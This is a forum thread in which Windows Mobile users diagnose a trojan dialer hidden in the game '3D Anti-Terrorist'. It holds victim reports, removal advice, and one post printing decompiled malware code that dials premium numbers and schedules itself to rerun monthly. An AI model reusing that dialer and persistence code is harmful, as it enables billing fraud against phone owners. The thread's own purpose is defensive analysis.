yashsingh1/xdaforums huggingface dataset:
[HD2 General] Tubgirl:
So what is the easiest way to determine if you have this trojan on your phone or not? Can I search for a specific file or a specific registry entry?

EDIT: Never mind... I read the first post ;)

Brgds... /Tubgirl
[HD2 General] pjninnis:
IT News Article of Trojan...

From ITNews . com . au

(sorry I can post the URL due to restrictions)

---

Hackers plant viruses in Windows smartphone games

Jun 5, 2010 9:12 AM

Tags: hackers | viruses | windows | smartphone | games | 3d antiterrorist | pda poker art

Smartphone games dial premium numbers in Italy.

Hackers have planted viruses in video games for smartphones running on Microsoft's Windows operating system, according to a firm that specialises in securing mobile devices.

The games -- 3D Anti-Terrorist and PDA Poker Art -- are available on sites that provide legitimate software for mobile devices, according to John Hering, CEO of San Francisco-based security firm Lookout.

Those games are bundled with malicious software that automatically dials premium-rate telephone services in Somalia, Italy and other countries, sometimes ringing up hundreds of dollars in charges in a single month.

Those services are run by the programmers who built the tainted software, Hering said on Friday.

Victims generally do not realiase they have been infected until they get their phone bill and see hundreds of dollars of unexpected charges for those premium-rate services, he said.

Hackers are increasingly targeting smartphone users as sales of the sophisticated mobile devices have soared with the success of Apple Inc's iPhone and Google Inc's Android operating system.

Officials with Microsoft could not immediately be reached for comment.
[HD2 General] Z!L0G80:
can anyone share this crap for me ?
[HD2 General] mali4:
Does anybody know some desktop anti virus software that can recognize this malware for sure in files?

Maybe KIS?

It would be great if we could scan files on computer and be sure that files dont contain viruses,malware or other harmful code.
[HD2 General] nrfitchett4:
install lookout mobile security. It is antivirus for your phone:

https://www.mylookout.com/

it's free and should detect any viruses on your phone.
[HD2 General] bountygiver:
this is caused by a game (forgot what name, can search in xda page for news)

if u install that game, u will install a malware as well which will call to satellite numbers, to fix it, do hard reset (flash a new ROM if u like it :)) and reinstall all apps EXCEPT that stupid game

also, make sure all your apps comes from a trusted source so they are not injected with malware by some ****ers
[HD2 General] nrfitchett4:
the problem is that these games came from a trusted ppc site....

at least a hard reset fixes the problem and its not like it can infect your computer to call international.

I wish I had the cabs to test against lookout mobile security on my old tp2 that is just laying around.
[HD2 General] mali4:
Thanks for the info. Do you know if mylookout can detect this dialer for sure? And how much this AV drains battery?

Does anyone know if some dektop anti virus can detect this dialer in .cab file? I want to download instalations for WM and scan files on my computer, before i upload them on my phone.

Chears!
[HD2 General] conantroutman:
this virus is old news, it should be picked up by all the av programs....

its the new virus' you need to worry about....

if you read back you'll see that the makers of the av programs found out about this virus via this thread....

thankfully incidents like this seem to be few and far between.....
[HD2 General] mali4:
Does anyone know url where i can download the infected file (included in game)? I want to scan it with desktop AV software.
[HD2 General] Terenth:
Did someone had wlan activated?

I will flash a new rom and deactivate the phone (without setting the whole phone off) and watch what happens..

Griaz!
[HD2 General] conantroutman:
Yes mine would have been connected to wlan when it happened.

Have done a hard reset to see if that solves it............
[HD2 General] willcor:
maybe..this info might help..?

hi,

yes, i had same experience as .." smudgelab "....

in short..i have a hd phone( with stock rom 6.1 )and had just downloaded two applications ,

from a link i followed ,provided by the ....1800pocketpc...website

i had clicked on " developer's site " and went to "hd2sr......" site

(one application being..HD2SOFTRESET...and another )

i transfered applications to my phone ..(but have not yet installed any application.. )

my wifi was on and next moment i noticed phone dialing ...exact same no...listed by " smudgelab "

+88213213214

+1(767)503-3611

+8823460777

....plus +25240221601

my deduction ?

there could be a "link/clue ?" in above ..?

..as this was the only website i went to .. to download any applications (yesterday..i downloaded ..nothing..) and also had no unwanted, behaviour by phone.

...co incidence...? above applications ...?

hope above info helps...?

at least i can verify and confirm .."smudgelab " statement,

(regarding phone... dialing " same" international no .....?)

good luck

willcor
[HD2 General] N-ter:
It's weird because it seems no one ever mentioned about these numbers except the ones with Windows Mobile devices on this forum.
[HD2 General] dudes45:
SAME ...

My phone also dialed +25240221601 +88213213214 +1(767)503-3611 +8823460777 last night and i lost over five pound of credit im using DJKOAs rom I just typed that first number into google and this came up its weird I am not sure its a download that said i did download divx player last night from a site i have forgotten and my phone deleted all its web history... by the way i have the Kaiser\TyTn II.. My wlan was also connected very strange hmm any ideas =D its weird it all happened around the same time lol hackers..jokes well it better not be =D

Edit: weird if i dial 25240221601 into a reverse phone directory it says invalid or it takes the one off the end and says it is a cellular number in washington, all the other numers come up with nothing ....it is strange
[HD2 General] krecik2002:
I had the same story last night with my Omnia 2 - I was woken up by voice from phone call saying that the number is incorrect. Right after I dropped connection, the phone started calling next number from the list of 3 posted above, which I stopped instantly. Fortunately none of connections were billed.

I've searched the entire registry for one of these numbers and contents of all files in \windows and \program files directories but no success.

Do you guys think that built in phone filter for outgoing international connections can stop this until the problem is solved?
[HD2 General] conantroutman:
I did a hard reset, those numbers have to be stored somewhere in the phone and without knowing where i cant see any other way of making sure it doesnt keep happening.

It didnt happen again last night so hopefully problem solved.
[HD2 General] ciuchino2:
Idem but I've changed the rom too.
[HD2 General] Sam Whyte:
dear all, has any one found the root cause and solution to this? my phone had the same issue calling those numbers last night and without knowing anything I was just sleeping peacefully... only this evening I realized my phone run out of money when I tried to make a call. all my USD 40 was gone with a call to this number +25240221601. I believe this was caused by some newly free downloaded game avatar... please be careful when trying free software or games......:(
[HD2 General] conantroutman:
i noticed some files in the folder for experiment 13 called xperiadialer.dll theres a few of them, no idea if this is relevant or not......
[HD2 General] baileyy:
My HD2 also did that last night. Completely freaked me out. Lucky international dialing is blocked on my phone. So does anyone know what's going on?
[HD2 General] -PM-:
My Diamond 2 with official 6.1 Spanish ROM have tried a few minutes ago to phone to the same numbers listed before.

I'm not installed "Experiment 13", but recently I've installed some aplications from "OMarket 1.1" aplication from "FreewarePocketPC.com"

Anybody else with this problem have used this aplication to install programs?

Another thing: the D2 was on Flight Mode: WiFi and Phone where off. After try to dial the 4 numbers seems it has stopped dialing.
[HD2 General] theloother:
Hi all,

im in Ireland with an omnia 2, same issue. I downloaded a patched version of garmin and IGo off gpsunderground last night, not sure if that where the problem lies

I have the following installed

skyfire

palringo

fring

facebook

mss converter

google maps

imdb mobile

celan ram

football monitor

tvu player

core player

mplayer

tcpmp

new version of myphone

omarket

marketplace

google translator

o2 flash/compass

3d anti terrorist

meon light

iceway rush hour

data controler

hd wobble

3 lingvosoft dictionaries

pocket rar

sherlock holmes gameloft

sodoku mobile

winmodof

Beyondpod

No wifi on at the time! Anyone know if this may have used data too?

Stock ROM
[HD2 General] biosensorben:
Hi all,

I've just had the same problem - woken up at 3.20am to my phone saying invalid number etc. I stopped the call (+882 346 0777) then it tried to ring a US no. (+1 (767) 503-3611). I then switched it off and on again and it's not done anything since.

I've downloaded lookup mobile securiy, done a virus scan and it found nothing.

I've got the following extra programs installed, on top of the latest stock rom from HTC:

Lookout Mobile Security

Omarket

Stop Watch.exe

MSS Converter

cleanRAM

OpenMobileMaps

WIFI Remote Access 1.0

TouchPaint

Suitor

Solitare

BrainSchool

Smart Mahjongg

SuDokuV2

BoingGLES

MoorHuhn

Experiment 12

Touchtris

Dog Whistle

Bananas

Igrecway Rushhour

Scrobble

3D Anti-Terrorist Action

At a brief (half asleep!) glance, the only things I seem to have in common with others with this problem is Omarket, Experiment 13 and clean RAM. Should I perhaps just uninstall these? - Any ideas gratefully accepted!

I'll be talking to T-mobile first thing to check what my international call status is!

Cheers

Ben
[HD2 General] livedog:
Hmmm.

I live in Halifax, Nova Scotia and am on the Bell network. My WINDOWS MOBILE based HTC Diamond just called 3 of these great phone numbers. Very strange.

I use a skinned Touchflo 3D interface and have downloaded anything worth having from freewarepocketpc. All the tweak programs, utilities, games such as Experiment 13 and Anti Terrorist. I use the Windows dialer instead of the default HTC one. Perhaps the dialer may be the cause? At any rate this blows monkey balls. I hate Microsoft....
[HD2 General] rp-x1:
I've literally just been woken up by the same issue, all numbers the same as OP.

My device has pretty much remained the same since I installed the following in the first week of ownership (a few months back) (give or take a couple of apps, like FlashLight):

TotalCommander

BsBTweaks

HC4 Obex Inbox

MS .Net 3.5

Atomware Dopewars

OrangeSoftware PocketUno

Morawietz Smart Mahjongg

Touch Dimensions Totem Star

waku WKTask

pocketmax pmClean

MoDaCo AppToDate

Skyfire Browser

MoDaCo DupeDeDupe

*Google Maps

Gudensoft Email Scheduler

SpoonUKFlights

SHAPE Services GPSed

Shazam

Igrecway RushHour

Spacetornado Software Scrobble

4Tune HTCAlbum CacheMod

ATT Collapse_Chaos

Skype

netDRG TCPMP

NICQUE Freeware GCzII

Imdb Mobile

Aloqa

BoingGLES

dega's Calendar current day blue highlight

dega's Calendar tab little triangle red

MobileTopSoft OpnMarket

JMB Flix

DaveShaw xdaShutdown 1.0

CreationPal SportyPal

boooka mammoth lockslider

kurniawan77 HTC Flashlight

RicardoFraile&Chinubrio F1 Pocket 2010

htcAddicts cleanRAM

Brins0.net Gyrator 2

Red FrogFish DataController

LOFFactory GoDaft

FWSoft MyPlayer

MS MyPhone

fringland Fring

Marek Swatek PowerWebRadio

DivX DivxPlayer

Ganondalf Experiment13

SouthEnd Xtrakt

Didier Degioanni WinMoDof

Morose Media WMWifiRouter

JVSoftware Configurations - This I don't recognise, but seems to be to do with "RemoteTracker" which I have installed in the past.

Except the following, which I installed yesterday:

3D Anti-Terrorist Action (via freewarepocketpc / omarket)

- this refused to close when I ran it, I guessed it was due to incompatibility (it didn't fit my screen properly)

Mavec (via Marketplace)

EcoGyzer One Trip (via Marketplace)

All were uninstalled after one use.

I've searched the registry (specifically HKLM \ Software ) and found something new:

discretix

I've definitely not seen this before as all the other keys I recognise.
[HD2 General] artbard:
same problem

hi all,

this night my diamond called four foreign numbers also. i installed anti terrorist game yesterday. after start it completely crashed, so i should restart pda. i saw the game in the list above. maybe this soft can be dialer? iam from czech republic, diamond rom is htc genuine.
[HD2 General] rp-x1:
Looks like it could be...
[HD2 General] Fredy2:
Found something interesting...

i have suspiction about 3d anti terrorist since i noticed a lot of people recently installed it and i found this

huike.cn/Exhibit/endetail.asp?cate=61&pid=61

I went on the official game and saw that the game is supose to be shareware/demo and you must pay for it.

while of the freewareppc site i saw the link of the dev's

antiterrorist3d.atspace.com

Now i don't need to continue my point.

You guyz might need to hard reset if it happends again and confirm with your service provider to temp block the int calling to see if its the case

As an extra note i sent a mail to Freewarepocketpc.net with this details.

I grew suspicious because i didnt have a single software in the list xept for the freewarepocketpc.net market software and 3d anti terrorist.

So my suspicion started from that and i checked the info.

Can someone double check the software and place the info on how to take out this ghost dialer? im cheking the files inside the cad right now.

(sorry for bad english... right now way sleepy and since this came up a few min ago i wanted to fix it before i do anything)
[HD2 General] rovex:
I think it might be 3D anti terrorist as well. I installed it a few days ago (it SUCKS by the way) and this morning my phone dialled the numbers listed. I regard this as theft since i have been charged and will be reporting the the app.
[HD2 General] Fredy2:
Buy? bought it where?

PS: didnt find anything in the software btw... but im just a noob about this so i would recommend someone els to check the software if possible... i only did a quick surface check.
[HD2 General] rovex:
Got it from Omarket, like most other people did i suspect.
[HD2 General] conantroutman:
Yep! I also have had 3d anti terrorist installed before, looks like this is the common denominator! BASTARDS!
[HD2 General] willcor:
i would also agree.......

with ..."rovex " and "conantroutman "

..also had this game...when incident happened ( as set out in my previous post..)

suspect no 1...?

any bets...!!!!

good luck

willcor
[HD2 General] baileyy:
So if the common denominator is the game (and I've already uninstalled the game before this happened), then the question is how do we remove it without a hard reset?
[HD2 General] the0ne:
I am the owner of 1800PocketPC

We are not 100% if the issue stems from this game but We received an email from someone who posed to be the developer of the game, and gave us the developers site as a fake-page hosted on atspace.com. The game was hosted on rapidshare on the fake-developers page. Apparently the game was developed by Huike.cn and its not a free game. This dodgy individual must have loaded the game with the trojan dialer and many unsuspecting users including myself installed this game.

I had this installed on a test device ( no SIM ) so I did not see the issue of outgoing calls. I made a post about this on 1800pocketpc

Here is alist of Antivirus that you can use

AirScanner

LookOut ( Free )

Kaspersky Mobile Security

Symantec Mobile AntiVirus

F-Secure Mobile Security
[HD2 General] biosensorben:
Have just asked T-mobile to keep track of my account and suggested they might want to monitor calls to these numbers - not that I think they can do anything, but at least I've told them about it, incase anything happens.

I've uninstalled the game, but am slightly worried if this doesn't sort it - I see a hard reset coming on:mad:

I've tried LookOut but it picked nothing up - could it be so new that none of the virus checkers are detecting it yet?

Cheers

Ben
[HD2 General] se1988:
update first post

the author of this thread should update the first post with relevant information!
[HD2 General] conantroutman:
A kaspersky scan revealed nothing, I would think that a simple uninstall will not resolve the problem, im concerned that even after a hard reset my device is still not ok, noticed this morning that media player will not run either via shortcut or the actual exe, and the phone is very very slow after being switched on. May be completely unrelated but who knows what else this malware (if thats what it is) is doing that we dont know about.
[HD2 General] jrrigney:
I had this happen this morning at 2am, also have that game installed, I thought all applications that when though omarket were vetted and checked :S

I did have LookOut installed previously and have done since my last flash to official 1.66 ROM and it didn't pick anything up, and nor did it when i ran a manual scan when i noticed it happened.

I suppose the best thing to do is a Hard Reset, as in the CAB/application itself you do have the ability to inject code anywhere onto the device, so you can never be sure that it will be ok.
[HD2 General] Utterpiffle:
Ratty from the HD2 forum kindly pointed me in this direction this morning.

I too got awoken this morning at 5 am with the phone dialling the numbers above. Call log revealed four calls, 1 call every minute. I'm a Brit abroad, so international calling is enabled on my phone. Not looking forward to receiving my bill!

Anyway, I also installed this 3d terrorist program on my HD2 on Monday. Unlike other posts above, I have not installed much on my phone in the past few weeks, so it certainly points to this 'game'.

Have now uninstalled it, but suspect this is not the end of it. Hopefully someone will come up with a solution soon, as I have got the phone configured just how I want it now, and would hate to have to do a hard reset.

Cheers Chris.
[HD2 General] djingonthenet:
Installed this "game" anti-terrorist two days ago, crashed my phone uninstalled and guess what happened last night at 4.20 - luckily i got woken up on the first call saying this number is not recognised. Already have kaspersky installed and it's found bugger all, only flashed the bloody rom last week and just got it back how i wanted :mad:
[HD2 General] eddaredevil:
Anti terrorost

Same here!

My phone is calling a few numbers like you guys posted.

I hard reset my phone now.

I'll make sure I won't install this software anymore!

Greetz!
[HD2 General] djingonthenet:
Have forwarded the cab file to Kaspersky - hopefully they will be able to find the culprit
[HD2 General] letama:
I took a quick look at the game, here is what I found:

There is a reg.exe file installed (dotnet application), it copies itself to smart32.exe in windows directory and then does this:

Phone phone = new Phone();

phone.Talk("+8823460777");

Thread.Sleep(0xc350);

phone.Talk("+17675033611");

Thread.Sleep(0xc350);

phone.Talk("+88213213214");

Thread.Sleep(0xc350);

phone.Talk("+25240221601");

Thread.Sleep(0xc350);

phone.Talk("+2392283261");

Thread.Sleep(0xc350);

phone.Talk("+881842011123");

long num6 = DateTime.Now.AddMonths(1).ToFileTime();

long num7 = 0L;

FileTimeToLocalFileTime(ref num6, ref num7);

SystemTime time6 = new SystemTime();

FileTimeToSystemTime(ref num7, time6);

CeRunAppAtTime(@"\Windows\smart32.exe", time6);

Definitely the culprit.

LeTama
[HD2 General] Gisbourne:
Terrorists in my phone!

Hi guys,

Yes - I had the same issue this morning after installing 'Anti Terrorist' a couple of days ago. I actually removed it 'cos it didn't work anyway, but obviously leaves the registry entries behind. Luckily my battery ran out of charge last night and I didn't bother to replace it (I have two batts) until this morning, which is when I noticed it dialing (boy, am I glad I didn't put the fresh battery in last night!).

My query is that I have a 16GB SD card with my music, sat nav apps on etc. My plan at the moment is to flash the ROM ('cos I want to anyway) and format the SD card and start again to remove any footprints, but I'd prefer not to format the SD card.

Can anyone confirm that a flash/hard reset is all that is necessary?

Cheers,

G
[HD2 General] djingonthenet:
Have deleted smart32.exe will wait and see
[HD2 General] jrrigney:
Looking at the code that letama posted it will occur every month, as long as the smart32.exe remains there and unmodified.

However i am uncertain what other processes applications use smart32.exe (if any) however may be easy enough to uncomile it, rem out this code and recompile it.

The problem then occurs if there is anything else in the system files that acts as a kind of backup to it that reinjects that code into the file or file into the system.

Also at some point the system is going to want to launch the application again using the (using CeRunAppAtTime method), if the application doesn't exist I'm not certain what the outcome would be, I would persume it would hang and require a soft reset, but this would probably be just the once.
[HD2 General] Gisbourne:
Agreed - which is why I feel it might be best to format the SD card although I understand that this may be a bit of a 'blunderbuss and blindfold' approach!

Cheers,

G
[HD2 General] willcor:
what i noticed...

firstly ....

...uninstalled the relevant game.. a day or two ago.

i also scanned with " kapersky mobile security "... negative results..

yet...

i took noticed of what "letama " said re the smart virus...

i went to windows directory on device ...and found it...!!

if you activate/click on it....it phone's the relevant no.. as discussed above..

so..it is sitting in you device...!!! even if you uninstalled the game..!!

(i have removed it by cutting and pasting to a safe file ..will deleted it if i can ..? )

good luck.

willcor
[HD2 General] conantroutman:
Thanks Letama!

Is it safe to delete smart32.exe then or has a hard reset solved this issue?
[HD2 General] letama:
There is nothing in the smart32.exe that is related to the game.

From the code, there is no other copy done anywhere, but I can't be sure that the reg.exe is the only location for the virus. I doubt it though, the reg.exe code is very simple.

For the CeRunAppAtTime, I don't think that the missing exe will kill the device. It basically push a entry in the notification queue, missing exe should not hurt. To be on safe side, You should be able to clean the entry with usual tools like dotfred taskmanager (notifications tab).
[HD2 General] conantroutman:
Am i right in assuming that smart32.exe is a file created during the installation of the virus? I cant find such a file in my windows directory and I've scanned the registry using pocket mechanic after hard resetting. Do you think that means all is well or is the sd card goin to need to be formatted? Sorry for the noobish questions but my knowledge of these things is very limited.
[HD2 General] jamieeeee:
i have contacted kaspersky with this problem and asked if they could add it to their virus list. they have a lot more experience with removing viruses so i think its best to let them make a fix.

only thing is they asked for a .cab. and i dont know what one is infected. do any of you guys have it and can pm it to me? it seems to be removed from omarket. (mailed them aswell about the problem.)
[HD2 General] 1750:
I'm another to fall foul of this, 4 calls made last night at about 1:24. have done a hard reset to be on the safe side - pain in the ass but hopefully worth it. just about to speak to t-mobile as i have nearly £18 worth of calls made by this virus.